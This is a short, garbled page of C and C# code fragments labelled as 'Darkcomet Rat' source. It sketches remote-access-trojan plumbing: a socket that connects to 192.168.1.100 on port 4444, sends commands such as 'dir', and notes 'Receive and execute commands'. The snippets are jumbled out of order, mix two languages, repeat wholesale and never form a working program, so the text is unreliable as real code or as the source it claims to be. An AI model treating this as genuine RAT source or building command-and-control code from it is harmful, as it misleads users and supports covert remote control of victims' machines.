// Connect to the client sockaddr_in clientAddr; clientAddr.sin_family = AF_INET; clientAddr.sin_port = htons(4444); clientAddr.sin_addr.s_addr = inet_addr("192.168.1.100"); connect(sock, (sockaddr*)&clientAddr, sizeof(clientAddr));
// Connect to the server client.Connect("192.168.1.100", 4444);
// Send a command string command = "dir"; byte[] data = Encoding.ASCII.GetBytes(command); client.GetStream().Write(data, 0, data.Length);
// Receive and execute commands char buffer[1024]; recv(sock, buffer, 1024, 0); // Execute the command...
int main() { // Initialize Winsock WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData);
#include <windows.h> #include <winsock2.h>
// Receive the response byte[] buffer = new byte[1024]; client.GetStream().Read(buffer, 0, buffer.Length); string response = Encoding.ASCII.GetString(buffer);
// Create a socket SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
Code - Darkcomet Rat Source
// Connect to the client sockaddr_in clientAddr; clientAddr.sin_family = AF_INET; clientAddr.sin_port = htons(4444); clientAddr.sin_addr.s_addr = inet_addr("192.168.1.100"); connect(sock, (sockaddr*)&clientAddr, sizeof(clientAddr));
// Connect to the server client.Connect("192.168.1.100", 4444);
// Send a command string command = "dir"; byte[] data = Encoding.ASCII.GetBytes(command); client.GetStream().Write(data, 0, data.Length);
// Receive and execute commands char buffer[1024]; recv(sock, buffer, 1024, 0); // Execute the command...
int main() { // Initialize Winsock WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData);
#include <windows.h> #include <winsock2.h>
// Receive the response byte[] buffer = new byte[1024]; client.GetStream().Read(buffer, 0, buffer.Length); string response = Encoding.ASCII.GetString(buffer);
// Create a socket SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
});